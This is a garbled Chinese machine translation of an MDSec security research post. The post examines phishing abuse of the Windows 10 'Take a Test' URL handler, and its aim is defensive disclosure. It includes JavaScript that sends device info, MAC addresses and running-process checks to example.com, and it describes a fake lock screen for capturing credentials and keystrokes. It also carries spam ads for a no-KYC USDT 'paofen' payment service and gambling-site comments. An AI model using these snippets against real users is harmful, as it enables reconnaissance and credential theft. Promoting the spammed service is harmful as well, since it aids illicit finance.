USDT官网

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00 概述

当我在Windows中寻找新攻击面的历程中,我经常会使用默认的文件处置程序和LOLBins。其中的默认协议处置程序引起了我的注重,当我在Windows 10进入到“根据协议选择默认应用程序”界面时,发现了此前没有看到过的新功效,名为“Take a Test”。

我迅速搜索了有关于这个处置程序的相关资料,但没有找到太多的研究功效。我发现,Adam在2018年揭晓的Windows 10 URL Schemes列表中就已经包罗了这一处置程序,因此可以证实它已经存在了一段时间,但除此之外没有找到任何信息。

我最终照样找到了关于“Take a Test”的一些参考文档,详细如下:

https://docs.microsoft.com/en-us/education/windows/take-tests-in-windows-10

https://docs.microsoft.com/en-us/education/windows/take-a-test-app-technical

https://github.com/SmarterApp/SB_BIRT/blob/master/irp/doc/req/SecureBrowserAPIspecification.md

凭证上述Microsoft文档,“Take a Test”的用途是:

“许多学校会使用在线测试来举行形成性评估和总结性评估。在此历程中,应保证学生使用平安的浏览器,以防止其在测试历程中使用其他盘算机或互联网资源。”

这个协议处置程序为共享链接提供了一种简捷的方式,可以在Kiosk类型的环境中平安地启动浏览器,从而让学生加入线上组织的考试。该浏览器不仅可以防止注重力不集中,而且还提供了一些功效,可以对用户举行限制,同时为考试组织者提供一些态势感知的功效,以防止作弊。

Microsoft的“Take a Test”实现在很洪水平上都相符上述通用的“平安浏览器”规范。听起来异常合理,然则需要注重的是,这个协议处置程序会随Windows 10的所有版本一起提供,包罗可能不会使用到该功效的版本系统。接下来,让我们进一步剖析其事情原理。

0x01 协议处置程序

“Take a Test”的URL可以根据以下方式来组织,而且可以通过随便方式共享:

ms-edu-secureasses *** ent:https://example.com/,enforcelockdown

Microsoft还提供了以下的Web应用程序,以辅助确立链接:

https://takeatest.blob.core.windows.net/takeatest-link-generator/testpage.html

下面是一个示例:

ms-edu-secureasses *** ent:https://www. *** .com/watch?v=dQw4w9WgXcQ,enforcelockdown

要退出“Take a Test”应用程序,需要使用Ctrl + Alt + Delete。

协议处置程序启动:

C:\Windows\SystemApps\Microsoft.Windows.SecureAsses *** entBrowser_cw5n1h2txyewy\SecureAsses *** entBrowser.exe

0x02 忠告

在继续举行操作之前,需要先剖析一下在单击上述链接时弹出的忠告新闻,我确信人人都没有单击该链接。

您信托example.com吗?该站点希望控制您的盘算机。

这一提醒可能会被攻击者行使,最终导致的效果就是用户会忽略忠告,并困在全屏播放的视频界面中。

若是接受了忠告提醒,则“Take a Test”平安浏览用具有以下特征:

1、在锁定屏幕上方全屏运行;

2、需要使用Ctrl + Alt + Delete以退出;

3、其中包罗一些平安浏览器API,可以辅助考试组织者发现作弊者。

0x03 终端枚举

在平安浏览器实现中,公然了JavaScript API,以允许考试组织者检查考生的状态。

SecureBrowser.security.getDeviceInfo

SecureBrowser.security.getMACAddress

SecureBrowser.security.examineProcessList

SecureBrowser.security.isRemoteSession

SecureBrowser.security.isVMSession

为了研究潜在的 *** 钓鱼攻击场景,我更先实验研究其中的一些方式。我使用有用的TLS部署了尺度的Web服务器,并更先实验一些值得关注的方式。

例如,我们可以使用以下示例,使用getDeviceInfo的输出效果发送GET请求:

,

usdt支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

const deviceInfo = function(info){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getDeviceInfo?info=' + info);
    xhr.send();
}
SecureBrowser.security.getDeviceInfo(deviceInfo);

在测试虚拟机中,返回效果如下:

{"manufacturer":"Microsoft Corporation","SWVer":"10.0.19042.804"}
In a similar light we invoke getMacAddress:
 
const getMacAddress = function(mac){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getMacAddress=' + mac);
    xhr.send();
}
SecureBrowser.security.getMACAddress(getMacAddress);

我们还可以获取主NIC的完整MAC地址:

GET /?getMacAddress=00155D014310 HTTP/1.1

接下来,我们剖析examineProcessList,就犹如Microsoft形貌的那样:

“获取用户所使用的客户端盘算机上运行的所有历程列表。考试应用程序将挪用它来检查列表,并将其与考试时代被视为黑名单的历程列表举行对照。在考试更先时和举行时代,应该定期举行这一挪用。若是发现了黑名单历程,则应住手考试以确保公正性。”

因此,它不会返回完整的历程列表,但事实证实我们可以提供大量的潜在历程,而且它能够返回正在运行的历程。在检查历程的时刻,我没有发现这里有任何限制。不外,这个功效仅限于以当前用户身份运行的历程,以是不太适用于检查运行了哪些平安产物,由于这些平安产物通常都是以SYSTEM身份运行的。

这个功效确实有能力枚举我们正在使用的软件,攻击者行使这些信息即可定位目的,并在获取到接见权限后准备Payload或破绽行使。此外,这个功效可以辅助攻击者将Payload准确发送到特定终端,同时有助于绕过那些对照穷苦的沙箱。

一个简朴的实现如下所示:

const badProcesses = function (foundProcesses) {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/?examineProcessList=' + foundProcesses);
xhr.send();
}
SecureBrowser.security.examineProcessList(['onedrive.exe','vpnui.exe', 'notepad.exe'], badProcesses);

除了这些API之外,另有一些检查用于确认是否在虚拟机或远程会话中运行,另外的一些检查可以限制终端在考试时代仅能够使用所需的功效,以及执行清空剪贴板的操作。

0x04 侦查应用

我使用Python、Flask和jQuery组合编写了看法证实。

视频:https://vimeo.com/521312160

从视频中可以看出,我们的PoC展示了 *** 到的用户信息以及服务端纪录的所有数据。不外,这些所有是HTML、CSS和JavaScript,因此若是要修改外观和体验异常简朴。

人人可以从GitHub的ActiveBreach repo中获取此PoC以举行实验:

https://github.com/mdsecactivebreach/TakeATest

0x05 捕捉凭证

在我的研究历程中,我想到一个问题,这个“Take a Test”应用程序始终在锁定屏幕上方全屏运行,而且需要使用某个组合键才气退出,这样的特征异常值得研究,而且可能会遇到针对凭证的 *** 钓鱼攻击。

我想到了一个快速的原型来模拟锁屏,以证实这一看法:

在后台,我执行了上面所述的所有枚举,并使用AJAX实时发送了用户的击键。我们同样可以实验将其与Evilginx之类的工具连系使用,以转到达正当的登录终端。

0x06 总结

Windows 10中默认的ms-edu-secureasses *** ent://协议处置程序异常值得关注。在单击全心组织的URL时会弹出忠告,但除此之外,还存在一些有趣的功效,攻击者可以在未攻陷系统的情形下仅通过JavaScript就能使用这些功效。从侦查和定位目的的角度来看,这个功效是异常有辅助的。如上所述,还可以行使这一功效来实现其他用途,稀奇是行使它位于锁定屏幕上方的怪异位置,例如可以将其用于凭证捕捉。

0x07 检测与提防

要阻止“Take a Test”功效,我们可以根据以下步骤操作:

1、检测和阻止正在运行的C:\Windows\SystemApps\Microsoft.Windows.SecureAsses *** entBrowser_cw5n1h2txyewy\SecureAsses *** entBrowser.exe实例。

2、作废设置默认协议处置程序`ms-edu-secureasses *** ent://`。

以下是平安评估浏览器AppX Package:

Name              : Microsoft.Windows.SecureAsses *** entBrowser
Publisher         : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Architecture      : Neutral
ResourceId        : neutral
Version           : 10.0.19041.423
PackageFullName   : Microsoft.Windows.SecureAsses *** entBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy
InstallLocation   : C:\Windows\SystemApps\Microsoft.Windows.SecureAsses *** entBrowser_cw5n1h2txyewy
IsFramework       : False
PackageFamilyName : Microsoft.Windows.SecureAsses *** entBrowser_cw5n1h2txyewy
PublisherId       : cw5n1h2txyewy
IsResourcePackage : False
IsBundle          : False
IsDevelopmentMode : False
NonRemovable      : True
IsPartiallyStaged : False
SignatureKind     : System
Status            : Ok

我实验根据以下步骤删除,但泛起了错误提醒“此应用程序是Windows的一部门,无法凭证用户需要卸载”。

PS C:\Windows\system32> Remove-AppxPackage -Package "Microsoft.Windows.SecureAsses *** entBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy"
Remove-AppxPackage : Deployment failed with HRESULT: 0x80073CFA, Removal failed. Please contact your software vendor. (Exception from HRESULT: 0x80073CFA)
error 0x80070032: AppX Deployment Remove operation on package Microsoft.Windows.SecureAsses *** entBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy from: C:\Windows\SystemApps\Microsoft.Windows.SecureAsses *** entBrowser_cw5n1h2txyewy failed. This app is part of Windows and cannot be uninstalled on a per-user basis. An administrator can attempt to remove the
app from the computer using Turn Windows Features on or off. However, it may not be possible to uninstall the app.
NOTE: For additional information, look for [ActivityId] cfb26e27-133a-0006-b879-b4cf3a13d701 in the Event Log or use the command line Get-AppPackageLog -ActivityID cfb26e27-133a-0006-b879-b4cf3a13d701
At line:1 char:1
+ Remove-AppxPackage -Package "Microsoft.Windows.SecureAsses *** entBrowse ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Microsoft.Windo...l_cw5n1h2txyewy:String) [Remove-AppxPackage], IOException
    + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.RemoveAppxPackageCommand

不外,可能另有一种解决方式,那就是将其直接删除。我们假设它没有任何其他有用的用途。

0x08 后续事情

在这些组件中可能还存在其他攻击面,包罗:

SecureAsses *** entBrowser.exe - 平安浏览器实现自己

SecureAsses *** ent_ *** Bridge.dll 和 SecureAsses *** ent_ *** Bridge.winmd - JavaScript Bridge实现

不外,与其他Windows组件一样,对它们举行仔细检查的可能性似乎也对照小。

这篇文章由David Middlehurst撰写。

本文翻译自:https://www.mdsec.co.uk/2021/03/phishing-users-to-take-a-test/: 欧博开户声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt交易平台(www.caibao.it):Windows 10 “Take a Test” URL Handler平安性剖析
发布评论

分享到:

usdt钱包(www.caibao.it):多国采购中国新冠肺炎疫苗 华春莹:愿一道推动全球疫苗公正分配
2 条回复
  1. 欧博注册
    欧博注册
    (2021-03-27 00:06:41) 1#

    菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。满分给你,努力啊

  2. 欧博ALLBET网址
    欧博ALLBET网址
    (2021-03-30 00:02:29) 2#

      继2020年9月25日中国证监会、中国人民银行、国家外汇管理局公布《及格境外机构投资者和人民币及格境外机构投资者境内证券期货投资管理办法》后,沪深市场QFII挂号结算制度改革相关营业于12月28日正式上线,并允许QFII于12月29日起介入融资融券类证券买卖。国泰君安证券率先完成市场首单QFII融资融券营业。这是一篇很OK的文

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。